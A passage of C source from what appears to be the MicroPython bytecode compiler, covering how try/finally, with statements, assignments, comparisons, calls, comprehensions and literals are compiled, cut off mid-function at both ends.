const byte *p_finally) { assert(pt_is_rule(p_finally, PN_try_stmt_finally)); uint l_finally_block = comp_next_label(comp); EMIT_ARG(setup_finally, l_finally_block); compile_increase_except_level(comp); if (p_except == NULL) { assert(p_else == NULL); EMIT_ARG(adjust_stack_size, 3); // stack adjust for possible UNWIND_JUMP state compile_node(comp, p_body); EMIT_ARG(adjust_stack_size, -3); } else { compile_try_except(comp, p_body, p_except, p_except_top, p_else); } EMIT(pop_block); EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE); EMIT_ARG(label_assign, l_finally_block); compile_node(comp, pt_rule_first(p_finally)); compile_decrease_except_level(comp); EMIT(end_finally); } STATIC void compile_try_stmt(compiler_t *comp, const byte *p, const byte *ptop) { (void)ptop; const byte* p1 = pt_next(p); if (pt_is_rule(p1, PN_try_stmt_except) || pt_is_rule(p1, PN_try_stmt_except_list)) { // just try-except const byte *p1_top = mp_parse_node_extract_list(&p1, PN_try_stmt_except_list); compile_try_except(comp, p, p1, p1_top, NULL); } else if (pt_is_rule(p1, PN_try_stmt_except_and_more)) { // try-except and possibly else and/or finally const byte *p1_top; const byte *p1_p0 = pt_rule_extract_top(p1, &p1_top); const byte *p1_p1 = mp_parse_node_extract_list(&p1_p0, PN_try_stmt_except_list); if (pt_next(p1_p1) == p1_top) { // no finally, but have else compile_try_except(comp, p, p1_p0, p1_p1, p1_p1); } else { // have finally, may or may not have else compile_try_finally(comp, p, p1_p0, p1_p1, p1_p1, pt_next(p1_p1)); } } else { // just try-finally compile_try_finally(comp, p, NULL, NULL, NULL, p1); } } STATIC void compile_with_stmt_helper(compiler_t *comp, const byte *n_pre, const byte *p_body) { if (n_pre >= p_body) { // no more pre-bits, compile the body of the with compile_node(comp, p_body); } else { uint l_end = comp_next_label(comp); if (MICROPY_EMIT_NATIVE && comp->scope_cur->emit_options != MP_EMIT_OPT_BYTECODE) { // we need to allocate an extra label for the native emitter // it will use l_end+1 as an auxiliary label comp_next_label(comp); } if (pt_is_rule(n_pre, PN_with_item)) { // this pre-bit is of the form "a as b" const byte *p = pt_rule_first(n_pre); p = compile_node(comp, p); EMIT_ARG(setup_with, l_end); c_assign(comp, p, ASSIGN_STORE); n_pre = pt_next(n_pre); } else { // this pre-bit is just an expression n_pre = compile_node(comp, n_pre); EMIT_ARG(setup_with, l_end); EMIT(pop_top); } compile_increase_except_level(comp); // compile additional pre-bits and the body compile_with_stmt_helper(comp, n_pre, p_body); // finish this with block EMIT_ARG(with_cleanup, l_end); compile_decrease_except_level(comp); EMIT(end_finally); } } STATIC void compile_with_stmt(compiler_t *comp, const byte *p, const byte *ptop) { // get the nodes for the pre-bit of the with (the a as b, c as d, ... bit) ptop = mp_parse_node_extract_list(&p, PN_with_stmt_list); // compile in a nested fashion compile_with_stmt_helper(comp, p, ptop); } STATIC void compile_expr_stmt(compiler_t *comp, const byte *p, const byte *ptop) { const byte *p_n1 = pt_next(p); if (pt_is_null_with_top(p_n1, ptop)) { if (comp->is_repl && comp->scope_cur->kind == SCOPE_MODULE) { // for REPL, evaluate then print the expression compile_load_id(comp, MP_QSTR___repl_print__); compile_node(comp, p); EMIT_ARG(call_function, 1, 0, 0); EMIT(pop_top); } else { #if 0 // for non-REPL, evaluate then discard the expression if ((MP_PARSE_NODE_IS_LEAF(pns->nodes[0]) && !MP_PARSE_NODE_IS_ID(pns->nodes[0])) || MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_string) || MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_bytes) || MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_const_object)) { // do nothing with a lonely constant } else #endif { compile_node(comp, p); // just an expression EMIT(pop_top); // discard last result since this is a statement and leaves nothing on the stack } } } else if (pt_is_rule(p_n1, PN_expr_stmt_augassign)) { c_assign(comp, p, ASSIGN_AUG_LOAD); // lhs load for aug assign p_n1 = pt_rule_first(p_n1); assert(pt_is_any_tok(p_n1)); byte tok; p_n1 = pt_tok_extract(p_n1, &tok); mp_binary_op_t op; switch (tok) { case MP_TOKEN_DEL_PIPE_EQUAL: op = MP_BINARY_OP_INPLACE_OR; break; case MP_TOKEN_DEL_CARET_EQUAL: op = MP_BINARY_OP_INPLACE_XOR; break; case MP_TOKEN_DEL_AMPERSAND_EQUAL: op = MP_BINARY_OP_INPLACE_AND; break; case MP_TOKEN_DEL_DBL_LESS_EQUAL: op = MP_BINARY_OP_INPLACE_LSHIFT; break; case MP_TOKEN_DEL_DBL_MORE_EQUAL: op = MP_BINARY_OP_INPLACE_RSHIFT; break; case MP_TOKEN_DEL_PLUS_EQUAL: op = MP_BINARY_OP_INPLACE_ADD; break; case MP_TOKEN_DEL_MINUS_EQUAL: op = MP_BINARY_OP_INPLACE_SUBTRACT; break; case MP_TOKEN_DEL_STAR_EQUAL: op = MP_BINARY_OP_INPLACE_MULTIPLY; break; case MP_TOKEN_DEL_DBL_SLASH_EQUAL: op = MP_BINARY_OP_INPLACE_FLOOR_DIVIDE; break; case MP_TOKEN_DEL_SLASH_EQUAL: op = MP_BINARY_OP_INPLACE_TRUE_DIVIDE; break; case MP_TOKEN_DEL_PERCENT_EQUAL: op = MP_BINARY_OP_INPLACE_MODULO; break; case MP_TOKEN_DEL_DBL_STAR_EQUAL: default: op = MP_BINARY_OP_INPLACE_POWER; break; } compile_node(comp, p_n1); // rhs EMIT_ARG(binary_op, op); c_assign(comp, p, ASSIGN_AUG_STORE); // lhs store for aug assign } else if (pt_is_rule(p_n1, PN_expr_stmt_assign_list)) { const byte *p_n1_top; p_n1 = pt_rule_extract_top(p_n1, &p_n1_top); const byte *p_rhs = NULL; for (const byte *pp = p_n1; pp != p_n1_top; pp = pt_next(pp)) { p_rhs = pp; } compile_node(comp, p_rhs); // rhs // following CPython, we store left-most first //if (num rhs > 1) { always true? EMIT(dup_top); //} c_assign(comp, p, ASSIGN_STORE); // lhs store for (const byte *pp = p_n1; pp != p_rhs;) { const byte *pp_next = pt_next(pp); if (pp_next != p_rhs) { EMIT(dup_top); } c_assign(comp, pp, ASSIGN_STORE); // middle store pp = pp_next; } } else { // single assignment #if 0 if (MICROPY_COMP_DOUBLE_TUPLE_ASSIGN && MP_PARSE_NODE_IS_STRUCT_KIND(pns1->nodes[0], PN_testlist_star_expr) && MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_testlist_star_expr) && MP_PARSE_NODE_STRUCT_NUM_NODES((mp_parse_node_struct_t*)pns1->nodes[0]) == 2 && MP_PARSE_NODE_STRUCT_NUM_NODES((mp_parse_node_struct_t*)pns->nodes[0]) == 2) { // optimisation for a, b = c, d mp_parse_node_struct_t *pns10 = (mp_parse_node_struct_t*)pns1->nodes[0]; mp_parse_node_struct_t *pns0 = (mp_parse_node_struct_t*)pns->nodes[0]; if (MP_PARSE_NODE_IS_STRUCT_KIND(pns0->nodes[0], PN_star_expr) || MP_PARSE_NODE_IS_STRUCT_KIND(pns0->nodes[1], PN_star_expr)) { // can't optimise when it's a star expression on the lhs goto no_optimisation; } compile_node(comp, pns10->nodes[0]); // rhs compile_node(comp, pns10->nodes[1]); // rhs EMIT(rot_two); c_assign(comp, pns0->nodes[0], ASSIGN_STORE); // lhs store c_assign(comp, pns0->nodes[1], ASSIGN_STORE); // lhs store } else if (MICROPY_COMP_TRIPLE_TUPLE_ASSIGN && MP_PARSE_NODE_IS_STRUCT_KIND(pns1->nodes[0], PN_testlist_star_expr) && MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_testlist_star_expr) && MP_PARSE_NODE_STRUCT_NUM_NODES((mp_parse_node_struct_t*)pns1->nodes[0]) == 3 && MP_PARSE_NODE_STRUCT_NUM_NODES((mp_parse_node_struct_t*)pns->nodes[0]) == 3) { // optimisation for a, b, c = d, e, f mp_parse_node_struct_t *pns10 = (mp_parse_node_struct_t*)pns1->nodes[0]; mp_parse_node_struct_t *pns0 = (mp_parse_node_struct_t*)pns->nodes[0]; if (MP_PARSE_NODE_IS_STRUCT_KIND(pns0->nodes[0], PN_star_expr) || MP_PARSE_NODE_IS_STRUCT_KIND(pns0->nodes[1], PN_star_expr) || MP_PARSE_NODE_IS_STRUCT_KIND(pns0->nodes[2], PN_star_expr)) { // can't optimise when it's a star expression on the lhs goto no_optimisation; } compile_node(comp, pns10->nodes[0]); // rhs compile_node(comp, pns10->nodes[1]); // rhs compile_node(comp, pns10->nodes[2]); // rhs EMIT(rot_three); EMIT(rot_two); c_assign(comp, pns0->nodes[0], ASSIGN_STORE); // lhs store c_assign(comp, pns0->nodes[1], ASSIGN_STORE); // lhs store c_assign(comp, pns0->nodes[2], ASSIGN_STORE); // lhs store } else #endif { //no_optimisation: compile_node(comp, p_n1); // rhs c_assign(comp, p, ASSIGN_STORE); // lhs store } } } STATIC void compile_test_if_expr(compiler_t *comp, const byte *p, const byte *ptop) { (void)ptop; const byte *p_test_if_else = pt_next(p); assert(p_test_if_else != ptop && pt_is_rule(p_test_if_else, PN_test_if_else)); p_test_if_else = pt_rule_first(p_test_if_else); uint l_fail = comp_next_label(comp); uint l_end = comp_next_label(comp); p_test_if_else = c_if_cond(comp, p_test_if_else, false, l_fail); // condition compile_node(comp, p); // success value EMIT_ARG(jump, l_end); EMIT_ARG(label_assign, l_fail); EMIT_ARG(adjust_stack_size, -1); // adjust stack size compile_node(comp, p_test_if_else); // failure value EMIT_ARG(label_assign, l_end); } STATIC void compile_lambdef(compiler_t *comp, const byte *p, const byte *ptop) { (void)ptop; mp_int_t scope_idx; p = pt_get_small_int(p, &scope_idx); if (comp->pass == MP_PASS_SCOPE) { // create a new scope for this lambda scope_new_and_link(comp, scope_idx, SCOPE_LAMBDA, p, comp->scope_cur->emit_options); } // get the scope for this lambda scope_t *this_scope = comp->scopes[scope_idx]; // compile the lambda definition compile_funcdef_lambdef(comp, this_scope, p, PN_varargslist); } STATIC void compile_or_and_test(compiler_t *comp, const byte *p, const byte *ptop, bool cond) { uint l_end = comp_next_label(comp); while (p != ptop) { p = compile_node(comp, p); if (p != ptop) { EMIT_ARG(jump_if_or_pop, cond, l_end); } } EMIT_ARG(label_assign, l_end); } STATIC void compile_or_test(compiler_t *comp, const byte *p, const byte *ptop) { compile_or_and_test(comp, p, ptop, true); } STATIC void compile_and_test(compiler_t *comp, const byte *p, const byte *ptop) { compile_or_and_test(comp, p, ptop, false); } STATIC void compile_not_test_2(compiler_t *comp, const byte *p, const byte *ptop) { (void)ptop; compile_node(comp, p); EMIT_ARG(unary_op, MP_UNARY_OP_NOT); } STATIC void compile_comparison(compiler_t *comp, const byte *p, const byte *ptop) { int num_nodes = pt_num_nodes(p, ptop); p = compile_node(comp, p); bool multi = (num_nodes > 3); uint l_fail = 0; if (multi) { l_fail = comp_next_label(comp); } for (int i = 1; i + 1 < num_nodes; i += 2) { mp_binary_op_t op; if (pt_is_any_tok(p)) { byte tok; p = pt_tok_extract(p, &tok); switch (tok) { case MP_TOKEN_OP_LESS: op = MP_BINARY_OP_LESS; break; case MP_TOKEN_OP_MORE: op = MP_BINARY_OP_MORE; break; case MP_TOKEN_OP_DBL_EQUAL: op = MP_BINARY_OP_EQUAL; break; case MP_TOKEN_OP_LESS_EQUAL: op = MP_BINARY_OP_LESS_EQUAL; break; case MP_TOKEN_OP_MORE_EQUAL: op = MP_BINARY_OP_MORE_EQUAL; break; case MP_TOKEN_OP_NOT_EQUAL: op = MP_BINARY_OP_NOT_EQUAL; break; case MP_TOKEN_KW_IN: default: op = MP_BINARY_OP_IN; break; } } else { if (pt_is_rule(p, PN_comp_op_not_in)) { op = MP_BINARY_OP_NOT_IN; } else { assert(pt_is_rule(p, PN_comp_op_is)); // should be if (pt_is_rule_empty(p)) { op = MP_BINARY_OP_IS; } else { op = MP_BINARY_OP_IS_NOT; } } p = pt_next(p); } p = compile_node(comp, p); if (i + 2 < num_nodes) { EMIT(dup_top); EMIT(rot_three); } EMIT_ARG(binary_op, op); if (i + 2 < num_nodes) { EMIT_ARG(jump_if_or_pop, false, l_fail); } } if (multi) { uint l_end = comp_next_label(comp); EMIT_ARG(jump, l_end); EMIT_ARG(label_assign, l_fail); EMIT_ARG(adjust_stack_size, 1); EMIT(rot_two); EMIT(pop_top); EMIT_ARG(label_assign, l_end); } } STATIC void compile_star_expr(compiler_t *comp, const byte *p, const byte *ptop) { (void)ptop; compile_syntax_error(comp, p, "*x must be assignment target"); } STATIC void c_binary_op(compiler_t *comp, const byte *p, const byte *ptop, mp_binary_op_t binary_op) { p = compile_node(comp, p); while (p != ptop) { p = compile_node(comp, p); EMIT_ARG(binary_op, binary_op); } } STATIC void compile_expr(compiler_t *comp, const byte *p, const byte *ptop) { c_binary_op(comp, p, ptop, MP_BINARY_OP_OR); } STATIC void compile_xor_expr(compiler_t *comp, const byte *p, const byte *ptop) { c_binary_op(comp, p, ptop, MP_BINARY_OP_XOR); } STATIC void compile_and_expr(compiler_t *comp, const byte *p, const byte *ptop) { c_binary_op(comp, p, ptop, MP_BINARY_OP_AND); } STATIC void compile_term(compiler_t *comp, const byte *p, const byte *ptop) { p = compile_node(comp, p); while (p != ptop) { byte tok; p = pt_tok_extract(p, &tok); p = compile_node(comp, p); mp_binary_op_t op; switch (tok) { case MP_TOKEN_OP_PLUS: op = MP_BINARY_OP_ADD; break; case MP_TOKEN_OP_MINUS: op = MP_BINARY_OP_SUBTRACT; break; case MP_TOKEN_OP_STAR: op = MP_BINARY_OP_MULTIPLY; break; case MP_TOKEN_OP_DBL_SLASH: op = MP_BINARY_OP_FLOOR_DIVIDE; break; case MP_TOKEN_OP_SLASH: op = MP_BINARY_OP_TRUE_DIVIDE; break; case MP_TOKEN_OP_PERCENT: op = MP_BINARY_OP_MODULO; break; case MP_TOKEN_OP_DBL_LESS: op = MP_BINARY_OP_LSHIFT; break; default: assert(tok == MP_TOKEN_OP_DBL_MORE); op = MP_BINARY_OP_RSHIFT; break; } EMIT_ARG(binary_op, op); } } STATIC void compile_factor_2(compiler_t *comp, const byte *p, const byte *ptop) { (void)ptop; byte tok; p = pt_tok_extract(p, &tok); compile_node(comp, p); if (tok == MP_TOKEN_OP_PLUS) { EMIT_ARG(unary_op, MP_UNARY_OP_POSITIVE); } else if (tok == MP_TOKEN_OP_MINUS) { EMIT_ARG(unary_op, MP_UNARY_OP_NEGATIVE); } else { assert(tok == MP_TOKEN_OP_TILDE); // should be EMIT_ARG(unary_op, MP_UNARY_OP_INVERT); } } STATIC void compile_atom_expr_normal(compiler_t *comp, const byte *p, const byte *ptop) { const byte *p_start = p; // compile the subject of the expression p = compile_node(comp, p); // get the array of trailers, it may be a single item or a list if (pt_is_rule(p, PN_atom_expr_trailers)) { p = pt_rule_extract_top(p, &ptop); } // handle special super() call if (comp->scope_cur->kind == SCOPE_FUNCTION && pt_is_id(p_start, MP_QSTR_super) && pt_is_rule(p, PN_trailer_paren) && pt_is_rule_empty(p)) { // at this point we have matched "super()" within a function // load the class for super to search for a parent compile_load_id(comp, MP_QSTR___class__); // look for first argument to function (assumes it's "self") bool found = false; id_info_t *id = &comp->scope_cur->id_info[0]; for (size_t n = comp->scope_cur->id_info_len; n > 0; --n, ++id) { if (id->flags & ID_FLAG_IS_PARAM) { // first argument found; load it compile_load_id(comp, id->qst); found = true; break; } } if (!found) { compile_syntax_error(comp, p, "super() can't find self"); // really a TypeError return; } if (pt_num_nodes(p, ptop) >= 3 && pt_is_rule(pt_next(p), PN_trailer_period) && pt_is_rule(pt_next(pt_next(p)), PN_trailer_paren)) { // optimisation for method calls super().f(...), to eliminate heap allocation const byte *p_period = pt_next(p); const byte *p_paren = pt_next(p_period); qstr method_name; pt_extract_id(pt_rule_first(p_period), &method_name); EMIT_ARG(load_method, method_name, true); if (pt_is_rule_empty(p_paren)) { p_paren = NULL; } else { p_paren = pt_rule_first(p_paren); } compile_trailer_paren_helper(comp, p_paren, true, 0); p = pt_next(p); p = pt_next(p); p = pt_next(p); } else { // a super() call EMIT_ARG(call_function, 2, 0, 0); p = pt_next(p); } } while (p != ptop) { const byte *p_next = pt_next(p); if (p_next != ptop && pt_is_rule(p, PN_trailer_period) && pt_is_rule(p_next, PN_trailer_paren)) { // optimisation for method calls a.f(...), following PyPy const byte *p_period = pt_rule_first(p); const byte *p_paren; if (pt_is_rule_empty(p_next)) { p_paren = NULL; } else { p_paren = pt_rule_first(p_next); } qstr method_name; pt_extract_id(p_period, &method_name); EMIT_ARG(load_method, method_name, false); compile_trailer_paren_helper(comp, p_paren, true, 0); p = pt_next(p_next); } else { // node is one of: trailer_paren, trailer_bracket, trailer_period p = compile_node(comp, p); } } } STATIC void compile_power(compiler_t *comp, const byte *p, const byte *ptop) { compile_generic_all_nodes(comp, p, ptop); // 2 nodes, arguments of power EMIT_ARG(binary_op, MP_BINARY_OP_POWER); } // if p_arglist==NULL then there are no arguments STATIC void compile_trailer_paren_helper(compiler_t *comp, const byte *p_arglist, bool is_method_call, int n_positional_extra) { // function to call is on top of stack // get the list of arguments const byte *ptop; if (p_arglist == NULL) { ptop = NULL; } else { ptop = mp_parse_node_extract_list(&p_arglist, PN_arglist); } // compile the arguments // Rather than calling compile_node on the list, we go through the list of args // explicitly here so that we can count the number of arguments and give sensible // error messages. int n_positional = n_positional_extra; uint n_keyword = 0; uint star_flags = 0; const byte *p_star_args = NULL, *p_dblstar_args = NULL; for (const byte *p = p_arglist; p != ptop;) { if (pt_is_rule(p, PN_arglist_star)) { if (star_flags & MP_EMIT_STAR_FLAG_SINGLE) { compile_syntax_error(comp, p, "can't have multiple *x"); return; } star_flags |= MP_EMIT_STAR_FLAG_SINGLE; p_star_args = pt_rule_first(p); p = pt_next(p); } else if (pt_is_rule(p, PN_arglist_dbl_star)) { if (star_flags & MP_EMIT_STAR_FLAG_DOUBLE) { compile_syntax_error(comp, p, "can't have multiple **x"); return; } star_flags |= MP_EMIT_STAR_FLAG_DOUBLE; p_dblstar_args = pt_rule_first(p); p = pt_next(p); } else if (pt_is_rule(p, PN_argument)) { p = pt_rule_first(p); // skip rule header const byte *p2 = pt_next(p); // get second node if (pt_is_rule(p2, PN_comp_for)) { // list comprehension argument compile_comprehension(comp, p, SCOPE_GEN_EXPR); n_positional++; p = pt_next(pt_next(p)); } else { // keyword argument if (!pt_is_any_id(p)) { compile_syntax_error(comp, p, "LHS of keyword arg must be an id"); return; } qstr kw; p = pt_extract_id(p, &kw); EMIT_ARG(load_const_str, kw); p = compile_node(comp, p); n_keyword += 1; } } else { if (star_flags) { compile_syntax_error(comp, p, "non-keyword arg after */**"); return; } if (n_keyword > 0) { compile_syntax_error(comp, p, "non-keyword arg after keyword arg"); return; } p = compile_node(comp, p); n_positional++; } } // compile the star/double-star arguments if we had them // if we had one but not the other then we load "null" as a place holder if (star_flags != 0) { if (p_star_args == NULL) { EMIT(load_null); } else { compile_node(comp, p_star_args); } if (p_dblstar_args == NULL) { EMIT(load_null); } else { compile_node(comp, p_dblstar_args); } } // emit the function/method call if (is_method_call) { EMIT_ARG(call_method, n_positional, n_keyword, star_flags); } else { EMIT_ARG(call_function, n_positional, n_keyword, star_flags); } } // p needs to point to 2 successive nodes, first is lhs of comprehension, second is PN_comp_for node STATIC void compile_comprehension(compiler_t *comp, const byte *p, scope_kind_t kind) { const byte *p_comp_for = pt_next(p); assert(pt_is_rule(p_comp_for, PN_comp_for)); p_comp_for = pt_rule_first(p_comp_for); mp_int_t scope_idx; p_comp_for = pt_get_small_int(p_comp_for, &scope_idx); if (comp->pass == MP_PASS_SCOPE) { // create a new scope for this comprehension scope_new_and_link(comp, scope_idx, kind, p, comp->scope_cur->emit_options); } // get the scope for this comprehension scope_t *this_scope = comp->scopes[scope_idx]; // compile the comprehension close_over_variables_etc(comp, this_scope, 0, 0); compile_node(comp, pt_next(p_comp_for)); // source of the iterator if (kind == SCOPE_GEN_EXPR) { EMIT_ARG(get_iter, false); } EMIT_ARG(call_function, 1, 0, 0); } STATIC void compile_atom_paren(compiler_t *comp, const byte *p, const byte *ptop) { if (pt_is_null_with_top(p, ptop)) { // an empty tuple c_tuple(comp, NULL, NULL, NULL); } else { assert(pt_is_rule(p, PN_testlist_comp)); p = pt_rule_first(p); const byte *p1 = pt_next(p); if (pt_is_rule(p1, PN_testlist_comp_3b) || pt_is_rule(p1, PN_testlist_comp_3c)) { // tuple of one item with trailing comma (3b); or tuple of many items (3c) c_tuple(comp, p, pt_rule_first(p1), ptop); } else if (pt_is_rule(p1, PN_comp_for)) { // generator expression compile_comprehension(comp, p, SCOPE_GEN_EXPR); } else { // tuple with 2 items c_tuple(comp, NULL, p, ptop); } } } STATIC void compile_atom_bracket(compiler_t *comp, const byte *p, const byte *ptop) { if (pt_is_null_with_top(p, ptop)) { // empty list EMIT_ARG(build_list, 0); } else if (pt_is_rule(p, PN_testlist_comp)) { p = pt_rule_first(p); const byte *p3 = pt_next(p); if (pt_is_rule(p3, PN_testlist_comp_3b) || pt_is_rule(p3, PN_testlist_comp_3c)) { // list of one item with trailing comma (3b); or list of many items (3c) p3 = pt_rule_first(p3); compile_node(comp, p); compile_generic_all_nodes(comp, p3, ptop); EMIT_ARG(build_list, 1 + pt_num_nodes(p3, ptop)); } else if (pt_is_rule(p3, PN_comp_for)) { // list comprehension compile_comprehension(comp, p, SCOPE_LIST_COMP); } else { // list with 2 items p = compile_node(comp, p); compile_node(comp, p); EMIT_ARG(build_list, 2); } } else { // list with 1 item compile_node(comp, p); EMIT_ARG(build_list, 1); } } STATIC void compile_atom_brace(compiler_t *comp, const byte *p, const byte *ptop) { if (pt_is_null_with_top(p, ptop)) { // empty dict EMIT_ARG(build_map, 0); } else if (pt_is_rule(p, PN_dictorsetmaker_item)) { // dict with one element EMIT_ARG(build_map, 1); compile_node(comp, p); EMIT(store_map); } else if (pt_is_rule(p, PN_dictorsetmaker)) { p = pt_rule_first(p); const byte *p1 = pt_next(p); if (pt_is_rule(p1, PN_dictorsetmaker_list)) { // dict/set with multiple elements const byte *p1_top; p1 = pt_rule_extract_top(p1, &p1_top); // get tail elements (2nd, 3rd, ...) if (p1 != p1_top) { mp_parse_node_extract_list(&p1, PN_dictorsetmaker_list2); } // first element sets whether it's a dict or set bool is_dict; if (!MICROPY_PY_BUILTINS_SET || pt_is_rule(p, PN_dictorsetmaker_item)) { // a dictionary EMIT_ARG(build_map, 1 + pt_num_nodes(p1, p1_top)); compile_node(comp, p); EMIT(store_map); is_dict = true; } else { // a set compile_node(comp, p); // 1st value of set is_dict = false; } // process rest of elements for (const byte *p_elem = p1; p_elem != p1_top;) { bool is_key_value = pt_is_rule(p_elem, PN_dictorsetmaker_item); p_elem = compile_node(comp, p_elem); if (is_dict) { if (!is_key_value) { // TODO what is the correct p for error node? compile_syntax_error(comp, p, "expecting key:value for dictionary"); return; } EMIT(store_map); } else { if (is_key_value) { // TODO what is the correct p for error node? compile_syntax_error(comp, p, "expecting just a value for set"); return; } } } #if MICROPY_PY_BUILTINS_SET // if it's a set, build it if (!is_dict) { EMIT_ARG(build_set, 1 + pt_num_nodes(p1, p1_top)); } #endif } else { assert(pt_is_rule(p1, PN_comp_for)); // should be // dict/set comprehension if (!MICROPY_PY_BUILTINS_SET || pt_is_rule(p, PN_dictorsetmaker_item)) { // a dictionary comprehension compile_comprehension(comp, p, SCOPE_DICT_COMP); } else { // a set comprehension compile_comprehension(comp, p, SCOPE_SET_COMP); } } } else { // set with one element #if MICROPY_PY_BUILTINS_SET compile_node(comp, p); EMIT_ARG(build_set, 1); #else assert(0); #endif } } STATIC void compile_trailer_paren(compiler_t *comp, const byte *p, const byte *ptop) { if (p >= ptop) { p = NULL; } compile_trailer_paren_helper(comp, p, false, 0); } STATIC void compile_trailer_bracket(compiler_t *comp, const byte *p, const byte *ptop) { (void)ptop; // object who's index we want is on top of stack compile_node(comp, p); // the index EMIT(load_subscr); } STATIC void compile_trailer_period(compiler_t *comp, const byte *p, const byte *ptop) { (void)ptop; // object who's attribute we want is on top of stack qstr attr; p = pt_extract_id(p, &attr); EMIT_ARG(load_attr, attr); } #if MICROPY_PY_BUILTINS_SLICE // p,ptop should be the args of subscript_3 STATIC void compile_subscript_3_helper(compiler_t *comp, const byte *p, const byte *ptop) { if (p == ptop) { // [?:] EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE); EMIT_ARG(build_slice, 2); } else if (pt_is_rule(p, PN_subscript_3c)) { EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE); if (pt_is_rule_empty(p)) { // [?::] EMIT_ARG(build_slice, 2); } else { // [?::x] compile_node(comp, pt_rule_first(p)); EMIT_ARG(build_slice, 3); } } else if (pt_is_rule(p, PN_subscript_3d)) { p = pt_rule_first(p); p = compile_node(comp, p); assert(pt_is_rule(p, PN_sliceop)); // should always be p = pt_rule_first(p); if (p == ptop) { // [?:x:] EMIT_ARG(build_slice, 2); } else { // [?:x:x] compile_node(comp, p); EMIT_ARG(build_slice, 3); } } else { // [?:x] compile_node(comp, p); EMIT_ARG(build_slice, 2); } } STATIC void compile_subscript_2(compiler_t *comp, const byte *p, const byte *ptop) { p = compile_node(comp, p); // start of slice p = pt_rule_first(p); // skip header of subscript_3 compile_subscript_3_helper(comp, p, ptop); } STATIC void compile_subscript_3(compiler_t *comp, const byte *p, const byte *ptop) { EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE); compile_subscript_3_helper(comp, p, ptop); } #endif // MICROPY_PY_BUILTINS_SLICE STATIC void compile_dictorsetmaker_item(compiler_t *comp, const byte *p, const byte *ptop) { (void)ptop; // if this is called then we are compiling a dict key:value pair compile_node(comp, pt_next(p)); // value compile_node(comp, p); // key } STATIC void compile_classdef(compiler_t *comp, const byte *p, const byte *ptop) { (void)ptop; qstr cname = compile_classdef_helper(comp, p, comp->scope_cur->emit_options); // store class object into class name compile_store_id(comp, cname); } STATIC void compile_yield_expr(compiler_t *comp, const byte *p, const byte *ptop) { if (comp->scope_cur->kind != SCOPE_FUNCTION && comp->scope_cur->kind != SCOPE_LAMBDA) { compile_syntax_error(comp, NULL, "'yield' outside function"); return; } if (pt_is_null_with_top(p, ptop)) { EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE); EMIT(yield_value); } else if (pt_is_rule(p, PN_yield_arg_from)) { p = pt_rule_first(p); compile_node(comp, p); EMIT_ARG(get_iter, false); EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE); EMIT(yield_from); } else { compile_node(comp, p); EMIT(yield_value); } } STATIC mp_obj_t get_const_object(compiler_t *comp, const byte *p) { size_t idx; p = pt_extract_const_obj(p, &idx); return (mp_obj_t)comp->co_data[idx]; } STATIC void compile_const_object(compiler_t *comp, const byte *p, const byte *ptop) { EMIT_ARG(load_const_obj, get_const_object(comp, p)); } typedef void (*compile_function_t)(compiler_t*, const byte*, const byte*); STATIC compile_function_t compile_function[] = { #define nc NULL #define c(f) compile_##f #define DEF_RULE(rule, comp, kind, ...) comp, #define DEF_RULE_NC(rule, kind, ...) #include "py/grammar.h" #undef c #undef DEF_RULE #undef DEF_RULE_NC compile_const_object, }; STATIC const byte *compile_node(compiler_t *comp, const byte *p) { //printf("CN %p %02x %02x %02x\n", p, p[0], p[1], p[2]); if (pt_is_null(p)) { // pass return p + 1; } else if (pt_is_small_int(p)) { mp_int_t arg; p = pt_get_small_int(p, &arg); #if MICROPY_DYNAMIC_COMPILER mp_uint_t sign_mask = -(1 << (mp_dynamic_compiler.small_int_bits - 1)); if ((arg & sign_mask) == 0 || (arg & sign_mask) == sign_mask) { // integer fits in target runtime's small-int EMIT_ARG(load_const_small_int, arg); } else { // integer doesn't fit, so create a multi-precision int object // (but only create the actual object on the last pass) if (comp->pass != MP_PASS_EMIT) { EMIT_ARG(load_const_obj, mp_const_none); } else { EMIT_ARG(load_const_obj, mp_obj_new_int_from_ll(arg)); } } #else EMIT_ARG(load_const_small_int, arg); #endif return p; } else if (pt_is_any_tok(p)) { byte tok; p = pt_tok_extract(p, &tok); if (tok == MP_TOKEN_NEWLINE) { // this can occur when file_input lets through a NEWLINE (eg if file starts with a newline) // or when single_input lets through a NEWLINE (user enters a blank line) // do nothing } else { EMIT_ARG(load_const_tok, tok); } return p; } else if (*p == MP_PT_STRING) { qstr qst = p[1] | (p[2] << 8); EMIT_ARG(load_const_str, qst); return pt_next(p); } else if (*p == MP_PT_BYTES) { // only create and load the actual bytes object on the last pass if (comp->pass != MP_PASS_EMIT) { EMIT_ARG(load_const_obj, mp_const_none); } else { qstr qst = p[1] | (p[2] << 8); size_t len; const byte *data = qstr_data(qst, &len); EMIT_ARG(load_const_obj, mp_obj_new_bytes(data, len)); } return pt_next(p); } else if (pt_is_any_id(p)) { qstr qst; p = pt_extract_id(p, &qst); compile_load_id(comp, qst); return p; } else if (*p == MP_PT_CONST_OBJECT) { size_t idx; p = pt_extract_const_obj(p, &idx); EMIT_ARG(load_const_obj, (mp_obj_t)comp->co_data[idx]); return p; } else { assert(*p >= MP_PT_RULE_BASE); size_t rule_id, src_line; const byte *ptop; p = pt_rule_extract(p, &rule_id, &src_line, &ptop); EMIT_ARG(set_source_line, src_line); compile_function_t f = compile_function[rule_id]; assert(f != NULL); f(comp, p, ptop); if (comp->compile_error != MP_OBJ_NULL && comp->compile_error_line == 0) { // add line info for the error in case it didn't have a line number comp->compile_error_line = src_line; } return ptop; } } STATIC void compile_scope_func_lambda_param(compiler_t *comp, const byte *p, pn_kind_t pn_name, pn_kind_t pn_star, pn_kind_t pn_dbl_star) { (void)pn_dbl_star; // check that **kw is last if ((comp->scope_cur->scope_flags & MP_SCOPE_FLAG_VARKEYWORDS) != 0) { compile_syntax_error(comp, p, "invalid syntax"); return; } qstr param_name = MP_QSTR_NULL; uint param_flag = ID_FLAG_IS_PARAM; if (pt_is_any_id(p)) 